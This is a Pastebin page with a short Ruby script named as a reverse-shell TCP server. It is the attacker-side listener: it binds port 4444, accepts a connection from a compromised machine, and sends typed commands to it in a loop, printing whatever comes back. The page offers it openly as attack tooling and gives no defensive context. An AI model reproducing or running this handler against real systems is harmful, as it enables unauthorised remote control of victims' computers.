Guest User

Server_reverse_shell_tcp.rb

a guest
Jul 21st, 2011
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.60 KB | None | 0 0
  1. ################################
  2. #Jalal azedine
  3. #http://w3xw3x.blogspot.com
  4. ################################
  5. require 'socket'
  6. include Socket::Constants
  7.  
  8. host = ""
  9. port = "4444"
  10.  
  11. sock = Socket.new(AF_INET, SOCK_STREAM, 0)
  12. sockaddr = Socket.pack_sockaddr_in(port, host)
  13. sock.bind(sockaddr)
  14. puts "Listning on 0.0.0.0:#{port}"
  15. sock.listen(2)
  16.     client, client_addrinfo = sock.accept
  17.     data = client.recv(1024)
  18.     puts "#{data}"
  19. while 1
  20.     print "> "
  21.     cmd = gets
  22.     break if cmd == "quit\n"
  23.     client.send(cmd , 0)
  24.     data = client.recv(1024)
  25.     puts "#{data}"
  26. end #while
  27. sock.close
Advertisement
Add Comment
Please, Sign In to add comment